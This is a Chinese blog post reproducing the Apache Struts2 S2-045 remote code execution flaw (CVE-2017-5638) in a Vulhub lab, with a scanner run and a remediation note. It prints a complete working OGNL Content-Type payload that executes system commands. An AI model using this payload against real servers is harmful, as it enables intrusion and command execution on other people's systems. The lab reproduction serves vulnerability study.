首页 > 其他分享 >Struts2-045 Remote Code Execution Vulnerablity(CVE-2017-5638)

Struts2-045 Remote Code Execution Vulnerablity(CVE-2017-5638)

时间:2023-09-05 22:22:20浏览次数:46  
标签:INFO Vulnerablity Code Remote 07 25 Struts 192.168 漏洞

目录

说明 内容
漏洞编号 CVE-2017-5638
漏洞名称 S2-045 远程代码执行漏洞
漏洞评级 高危
影响范围 Struts 2.3.5 - Struts 2.3.31
Struts 2.5 - Struts 2.5.10
漏洞描述 在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵,恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令
修复方案 打补丁
上设备
升级组件

1.1、漏洞描述

Apache官方发布Struts 2 紧急漏洞公告(S2-045),CVE编号CVE-2017-5638。公告中披露 ,当基于Jakarta插件上传文件时,可导致远程代码执行。例如在系统中获得管理员权限,执行添加用户。可任意查看、修改或删除文件。造成机密数据泄露,重要信息遭到篡改等重大危害。

1.2、漏洞等级

高危

1.3、影响版本

Struts 2.3.5 - Struts 2.3.31,

Struts 2.5 - Struts 2.5.10

1.4、漏洞复现

1、基础环境

Path:Vulhub/struts2/s2-045


启动测试环境:

sudo docker-compose up -d

容器运行后,访问http://your-ip:8080,可以看到上传页面的示例

image-20230905192258463

2、漏洞扫描

nacs

┌──(kali㉿kali)-[~/tools/nacs/0.0.3]
└─$ sudo ./nacs -h 192.168.80.141 -pa 8080
[sudo] password for kali: 
 _  _     ___     ___     ___   
| \| |   /   \   / __|   / __|  
| .  |   | - |  | (__    \__ \
|_|\_|   |_|_|   \___|   |___/  
             Version: 0.0.3
[07:25:16] [INFO] Start to probe alive machines
[07:25:16] [*] Target 192.168.80.141 is alive
[07:25:16] [INFO] There are total of 1 hosts, and 1 are surviving
[07:25:16] [WARNING] Too few surviving hosts
[07:25:16] [INFO] Start to discover the ports
[07:25:16] [*] [TCP/SSH] ssh://192.168.80.141:22 [SSH-2.0-OpenSSH_9.2p1\x20Debian-2]
[07:25:18] [*] [TCP/HTTP] [200] [Apache-Struts2] [JAVA] [Jetty] [JSP] http://192.168.80.141:8080 [Struts2 Showcase - Fileupload sample]                                                                                                                           
[07:25:18] [INFO] A total of 2 targets, the rule base hits 2 targets
[07:25:18] [INFO] Start to send pocs to web services (xray type)
[07:25:19] [INFO] Load 397 xray poc(s) 
[07:25:21] [+] http://192.168.80.141:8080 poc-yaml-struts2_045 poc1
[07:26:28] [INFO] Start to process nonweb services
[07:26:28] [INFO] [protocol] ssh 192.168.80.141
[07:28:55] [INFO] Task finish, consumption of time: 3m39.252863901s

image

3、漏洞验证

通过以下请求验证漏洞:

Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

image-20230905194110168

233*233已成功执行

Content-Type:  %{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

image-20230905194348752

image-20230905194433867

1.5、修复建议

如果你正在使用基于Jakarta的文件上传Multipart解析器,请升级到Apache Struts 2.3.32或2.5.10.1版;或者也可以切 换到不同的实现文件上传Multipart解析器。

标签:INFO,Vulnerablity,Code,Remote,07,25,Struts,192.168,漏洞
From: https://www.cnblogs.com/saury/p/17680987.html

相关文章

  • 2023你需要使用的最佳VSCode扩展
    VisualStudioCode(VSCode)是一款广受欢迎的多功能代码编辑器,在最新的StackOverflow开发者调查中,近75%的开发者将其选为首选集成开发环境。VSCode提供了一系列开箱即用的特性和功能,但其真正的威力在于市场上庞大的扩展生态系统。整理了VSCode30大扩展列表,希望大家能使用这些......
  • decode encode 网络传输相关
    JSON数据格式是一个统一的标准, socket传输的是字节,需要将字符串转成字节序列化反序列化序列化、反序列化、编码、解码的关系:此段来自苑昊老师的视频讲解:比如:后端用python写的,比如python有个数据想传给前端,例如一个字典数据 info={"name":"李凤娟","age":18},如果想把......
  • 【Leetcode刷题记录】各种排序算法
    前言:这篇文章总结一下学习的几种排序算法,假设要对一个vector<int>数组进行降序排序,数组中一共有n个数。1、冒泡排序思想:冒泡排序的思想就是一共进行n-1次循环,每次循环把范围内最小的数冒到最后面。因此用内为双循环,外循环为冒泡的次数,内循环为每次冒泡的范围,通过比较和......
  • leetcode1161最大层内元素之和
    dfslassSolution{public:unordered_map<int,vector<int>>m;voiddfs(TreeNode*root,intdepth){if(!root)return;intres=0;depth++;dfs(root->left,depth);dfs(root->right,depth);......
  • codeforce800
    题目链接https://vjudge.csgrandeur.cn/contest/578660题解目录A CodeForces1859A UnitedWeStandB CodeForces1858A ButtonsC CodeForces1857A ArrayColoringD CodeForces1856A TalesofaSortE CodeForces1855A DaltontheTeacherF CodeForces1853A DesortingG Cod......
  • LeetCode -- 394. 字符串解码(栈处理字符串问题)
     我们用栈同时维护当前字符串和倍数以及要加倍的字符串当遇到"["时,我们保存当前字符串,即将当前字符cres串入栈;当遇到"]"时,res=cres+倍数*应加倍的字符串classSolution:defdecodeString(self,s:str)->str:stack,res,multi=[],"",0......
  • VSCode - 配置Python的默认解释器
     1、查看VsCode中默认使用的python解释器 2、Ctrl+Shift+p打开命令行面板 3、输入Python:SelectInterpreter命令,配置默认的解释器   4、默认解释器生效  ......
  • vs code 中 python 项目 settings.json 是做什么用的
    在VisualStudioCode中,项目的settings.json文件是用于配置项目设置的文件。其中,settings.json文件中保存了项目特定的设置,可以覆盖全局默认设置或用户设置。对于Python项目来说,settings.json文件可以用于配置以下内容:Python解释器路径:通过"python.pythonPath"属性......
  • 用 Visual Studio Code 开发 Angular 应用自动生成的 .angular 文件夹
    在Angular开发中,项目根目录下的.angular文件夹是AngularCLI工具的一部分,它包含了一些配置和缓存文件,用于提高开发效率和构建性能。.angular文件夹的作用主要包括:缓存构建信息:.angular文件夹中包含了一些缓存文件,用于存储先前构建的信息,以加速后续的构建过程。这有助于......
  • 第4篇 machine,platform,codec
    参考:韦东山Linux教程(1)machine:单板相关 //结构体:structsnd_soc_card->structsnd_soc_dai_link 1)表明platform是哪个,通过snd_soc_dai_link指定名字,进行匹配 1.指定CPUDAI(IIS) 2.snd_soc_platform_driver(指定DMA) 2)表明codec是哪个,通过s......